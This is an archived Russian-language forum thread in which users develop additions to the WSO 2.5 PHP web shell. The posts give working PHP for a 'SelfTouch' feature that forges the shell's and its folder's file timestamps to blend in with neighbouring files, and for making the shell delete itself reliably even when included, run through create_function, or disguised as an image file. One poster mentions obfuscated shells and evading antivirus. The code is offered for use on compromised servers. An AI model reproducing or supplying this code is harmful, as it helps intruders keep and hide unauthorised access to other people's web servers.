RDot: White Hat Security Community

RDot: White Hat Security Community (https://rdot.org/forum/index.php)
-   Релизы/Releases (https://rdot.org/forum/forumdisplay.php?f=11)
-   -   WSO 2.5 (web shell) (https://rdot.org/forum/showthread.php?t=1085)

omen666 07.11.2014 18:37

вобщем, удалил строки, которые отвечают за диалог Really want to touch the shell?, оно не в тему! Это ж не удаление шелла все-таки.

[скачать]

Как сделать самому?

ln 262
PHP код:

...
$m['Self touch'] = 'SelfTouch';
... 

ln 1043
PHP код:

...
function 
actionSelfTouch() {
    
wsoHeader();
    
$all_f wsoScandir($GLOBALS['cwd']);    
    unset(
$all_f[array_search(basename(__FILE__),$all_f)]);
    echo 
'<h1>Touch like</h1><div class=content>';
    echo 
'<form name=f_touch method=post>';
    echo 
'<pre><label><input type=checkbox name=tparent id=tparent><span style="margin-left: 3px;">Touch shell\'s directory</span></label></pre>';
    echo 
"<pre><input onclick=\"g('SelfTouch',null,f_touch.timestamp.value,document.getElementById('tparent').checked)\" type=button value='Touch!'></pre>";
    if(
$_POST['p1']) {
        if(@
touch(__FILE__$_POST['p1'], $_POST['p1'])) {
            echo(
'<p>Shell has been touched</p>');
            if(
$_POST['p2'] == 'true') {
                @
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']);
                echo(
'<p>Shell\'s directory has been touched</p>');                
            }
        }
        else {
            echo 
'<h1>Touch</h1><div class=content>Touch error!</div>';
        }
    }
    foreach (
$all_f as $some_f) {    
        
$some_f_t filectime($some_f);
        echo 
"<pre><label><input type=radio name='timestamp' value='$some_f_t'> " '<b>' $some_f '</b>' ' - ' date("F d Y H:i:s.",filectime($some_f)) . "</label></pre>";
    }
    echo 
'</form>';
    echo 
'</div>';    
    
wsoFooter();
}
... 


devv 08.11.2014 06:38

omen666 touch не работает в твоих примерах, в параметре p1 ничего не передаётся

omen666 08.11.2014 06:50

Цитата:

Сообщение от devv (Сообщение 37331)
omen666 touch не работает в твоих примерах, в параметре p1 ничего не передаётся

Смотрите на рисунки, все работает, проверено на реальном сервере.

[скачать]

Сделано:
1. FilesMan юзает filemtime, а я в SelfTouch юзал fileсtime. Исправлено на filemtime, так как даты не совпадали.
2. Cортировка файлов по дате.
3. Сортировка файлов по названию.
4. Исправлена ошибка, когда текущий рабочий каталог другой.
5. Добавлено my_print_r для отладки.
6. Функцию wsoCmp, чтоб она срабатывала до вызова функции где она определена, вынесено в глобальную область видимости.
7. Добавлена возможность тачить только каталог шелла.
8. Filename(Optional) upload.
9. Вывод времени модификации шелла и эго каталога с полными путями.
10. Really want to touch the shell? убрано как в предыдущем посте.
11. Вывод даты в формате Y-m-d H:i:s.
12. Добавил clearstatcache.
13. Сообщения о таче выводяться в самом вверху.
14. Мелкий рефакторинг.
15. По умолчанию сортировка по дате возростания.

ln 1037
PHP код:

...
function 
actionSelfTouch() {
    global 
$sort
    
wsoHeader();    
    echo 
'<h1>Touch like</h1><div class=content>';
    if(
$_POST['p1']) {
        if (
$_POST['p2'] != 'onlyshelld') {
            if(@
touch(__FILE__$_POST['p1'], $_POST['p1'])) {
                echo 
'<p>Shell has been touched</p>';
                if(
$_POST['p2'] == 'shelld') {
                    if (@
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']))
                        echo(
'<p>Shell\'s directory has been touched</p>');
                    else 
                        echo 
'<p>Touch shell\'s directory error!</p>';
                }     
            } else {
                echo 
'<p>Touch shell error!</p>';
            } 
        } elseif (
$_POST['p2'] == 'onlyshelld') {
            if (@
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']))
                echo(
'<p>Shell\'s directory has been touched</p>');
            else 
                echo 
'<p>Touch shell\'s directory error!</p>';
        }
    }
    
clearstatcache();
    
$all_f wsoScandir($GLOBALS['cwd']);
    
$k_main array_search(basename(__FILE__), $all_f);
    
$k_main_d array_search('.'$all_f);
    unset(
$all_f[$k_main]);
    unset(
$all_f[$k_main_d]);
    unset(
$all_f[array_search('nbproject'$all_f)]);
    echo 
"<pre><b>Current timestamp</b></pre>";
    echo 
'<pre><b>Shell <span>' __FILE__ '</span></b>' ' - ' date("Y-m-d H:i:s"filemtime(__FILE__)) . "</pre>";
    echo 
'<pre><b>Shell\'s directory <span>' dirname(__FILE__) . '</span></b>' ' - ' date("Y-m-d H:i:s"filemtime(dirname(__FILE__))) . "</pre>";
    echo 
'<form name=f_touch method=post>';
    echo 
'<pre><label><input type=radio name=tparent value=shelld><span style="margin-left: 3px;">Also touch shell\'s directory</span></label></pre>';
    echo 
'<pre><label><input type=radio name=tparent value=onlyshelld><span style="margin-left: 3px;">Touch only shell\'s directory</span></label></pre>';
    echo 
"<pre><input type=button value='Touch!' onclick=\"g('SelfTouch',null, f_touch.timestamp.value, f_touch.tparent.value);\"></pre>";    
    
$sort = array('date'1);
    if(!empty(
$_POST['p3'])) {
        if(
preg_match('!s_([A-z]+)_(\d{1})!'$_POST['p3'], $match))
        
$sort = array($match[1], (int)$match[2]);
    }
    
$b_sort = ($sort[1] ? 1);
    echo 
"<pre><a href='#' onclick=\"g('SelfTouch',null,null,null,'s_name_$b_sort')\">sort files by name</a></pre>";
    echo 
"<pre><a href='#' onclick=\"g('SelfTouch',null,null,null,'s_date_$b_sort')\">sort files by date</a></pre>";    
    if (
$sort[0] == 'name') {
        
usort($all_f"wsoCmp");
        foreach (
$all_f as $some_f) {
            
$some_f_t filemtime($some_f);
            echo 
"<pre><label><input type=radio name=timestamp value=$some_f_t> " '<b>' $some_f '</b>' ' - ' date("Y-m-d H:i:s"$some_f_t) . "</label></pre>";
        }
    }
    if (
$sort[0] == 'date') {
        foreach (
$all_f as $some_f) {
            
$all_f_d[$some_f] = filemtime($some_f);
        }
        
$sort[1] ? asort($all_f_d) : arsort($all_f_d);
        foreach (
$all_f_d as $some_f_k => $some_f_v) {
            echo 
"<pre><label><input type=radio name=timestamp value=$some_f_v> " '<b>' $some_f_k '</b>' ' - ' date("Y-m-d H:i:s"$some_f_v) . "</label></pre>";
        }
    }    
    echo 
'</form>';
    echo 
'</div>';
    
wsoFooter();
}

function 
wsoCmp($a$b) {
    if(
$GLOBALS['sort'][0] != 'size')
        return 
strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
    else
        return ((
$a['size'] < $b['size']) ? -1)*($GLOBALS['sort'][1]?1:-1);
}

function 
my_print_r($data) {
    echo 
"<pre>";
    
print_r($data);
    echo 
"</pre>";
}
... 


Вынесено с ln 673 в глобальную область, так как неззя вызвать эту функцию, если родитель не вызывался, она тогда просто как необъявленная, а нужно было заюзать)
PHP код:

...
function 
wsoCmp($a$b) {
        if(
$GLOBALS['sort'][0] != 'size')
            return 
strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
        else
            return ((
$a['size'] < $b['size']) ? -1)*($GLOBALS['sort'][1]?1:-1);
    }
... 

http://s020.radikal.ru/i713/1411/8e/bcc97a3f4309.jpg

http://s009.radikal.ru/i308/1411/f5/1a7221436395.jpg

http://s020.radikal.ru/i703/1411/0b/89d2fc269ed1.jpg

http://s019.radikal.ru/i601/1411/14/62b8f0018f22.jpg

http://s017.radikal.ru/i431/1411/8e/4d6af992cc5e.jpg

http://s017.radikal.ru/i425/1411/79/d4b7df1e38a7.jpg

Обкатываем и постим ошибки )))

omen666 08.11.2014 07:45

Цитата:

Сообщение от devv (Сообщение 37331)
omen666 touch не работает в твоих примерах, в параметре p1 ничего не передаётся

Все работает )

http://i072.radikal.ru/1411/82/4d6224cdb4fe.jpg

http://s019.radikal.ru/i605/1411/81/3b0ac44bc1ee.jpg

http://s017.radikal.ru/i400/1411/ef/685cdd3646b8.jpg

http://s04.radikal.ru/i177/1411/71/3a727a19aaae.jpg

omen666 08.11.2014 10:27

Предлагаю в шелле заменить __FILE__ на $_SERVER['SCRIPT_FILENAME'], так как:

1. В подключаемых файлах шелл сам себя не удаляет.
Цитата:

Если используется внутри подключаемого файла, то возвращается имя данного файла.
2. Не у всех конструкция и функциях без использования eval() шелл себя нормально чувствует.

сделал замену:
[скачать]

oRb 10.11.2014 10:51

Цитата:

Сообщение от omen666 (Сообщение 37334)
Предлагаю в шелле заменить __FILE__ на $_SERVER['SCRIPT_FILENAME'], так как:

1. В подключаемых файлах шелл сам себя не удаляет.

2. Не у всех конструкция и функциях без использования eval() шелл себя нормально чувствует.

сделал замену:
[скачать]

Зачем вместо файла с шеллом удалять инклуд?

omen666 10.11.2014 14:16

Цитата:

Сообщение от oRb (Сообщение 37340)
Зачем вместо файла с шеллом удалять инклуд?

Привет oRb!

Значит, я пыхтел 3 часа в поисках обяснений.

Вот что лично меня заставило это сделать.
PHP код:

<?php

create_function
("","};".'echo __FILE__;'."//");  

?>

E:\servers\OpenServer4_8_5vuln\domains\localhost\1 .php(3) : runtime-created function

Как видно при выводе "волшебной" константы ошибка.

Я думаю это далеко непоследний случай.

Цитата:

Зачем вместо файла с шеллом удалять инклуд?
Угу, к сожалению да. Удаляет инклуд, хм... Но и у меня был еще 1 случай когда не удаляло, но я его к сожаление не смог воспроизвести локально, возможно особенности сервера, пхп хз.

Насколько я помню, юзал обфусцированный шелл, сжатый в 19 кб =), который сам себя распаковывал и выполнял.

Поэтому предлагаю найти достойную альтернативу __FILE__.

Это даст возможность хекерам шаманить с Вашим шеллом, все-таки появляются новые антивиры и т.д.

omen666 10.11.2014 18:06

хз что за ошибка), решить можно вот так

PHP код:

<?php

//create_function("","};".'echo __FILE__;'."//"); 

create_function("","};".'echo preg_replace("|\(\d+\)[\s]+:[\s]+runtime-created function\$|","",__FILE__);'."//"); 

?>

ln 1595
PHP код:

...$GLOBALS['shellname'] = preg_replace("|\(\d+\)[\s]+:[\s]+runtime-created function\$|","",__FILE__);... 

Везде __FILE__ заменить на $GLOBALS['shellname'].

Теперь и в create_function() норм работает, и в инклудах.

[скачать]

oRb 11.11.2014 10:50

Я что-то не понимаю смысл ваших телодвижений.
Константа __FILE__ у меня в коде используется 1 раз. И там где используется, проблема с дополнительной инфой в пути уже давно решена:
PHP код:

        if(@unlink(preg_replace('!\(\d+\)\s.*!'''__FILE__)))
            die(
'Shell has been removed'); 


omen666 11.11.2014 12:42

Цитата:

Сообщение от oRb (Сообщение 37348)
Я что-то не понимаю смысл ваших телодвижений.
Константа __FILE__ у меня в коде используется 1 раз. И там где используется, проблема с дополнительной инфой в пути уже давно решена:
PHP код:

        if(@unlink(preg_replace('!\(\d+\)\s.*!'''__FILE__)))
            die(
'Shell has been removed'); 


хз), но если шелл называться будет file(2) ABC.php или bluesea(2) we 2016.jpg и т.д, то уже точно себя не удалит. Интересно, что когда bluesea(2)[ ][ ]we 2016.jpg, то также не удалит(имеется ввиду несколько пробелов), так как метасимвол точка соответствует также непечатаемому символу, кроме "\n". В обшем как-то не универсально, не знаю. Получается, что нельзя сделать типо копию файла шелл, который, например, был уместный в папке с рисунками где много копий.

http://i074.radikal.ru/1411/e1/42119fc6378a.png

Так как веб-сервер обрабатывает файлы все-равно по расширению, то может вот так слелать?
PHP код:

create_function("","};"."\$f=pathinfo(__FILE__);echo \$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!', '', \$f['extension']);"."//"); 

В функции удаления еще не выводится шапка(видно на рисунке!), когда шелл не удален, можно wsoHeader(); наверх переместить. И вся функция может выглядеть как-то так.
PHP код:

function actionSelfRemove() {    
    if(
$_POST['p1'] == 'yes') {
        
$f=pathinfo(__FILE__);
        
$f=$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!'''$f['extension']);    
        if(@
unlink($f))
            die(
'Shell has been removed');
        else {
            
wsoHeader();
            echo 
'unlink error!';
        }
    }
    if(
$_POST['p1'] != 'yes') { 
        
wsoHeader();
        echo 
'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    }
    
wsoFooter();


Когда шелл удален, то вывести die('удален').
Когда не удален, то вывести хедер, сообщение, футер.
Когда нажать на Self remote, то вывести хедер, диалог, футер.


Часовой пояс GMT +3, время: 22:49.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot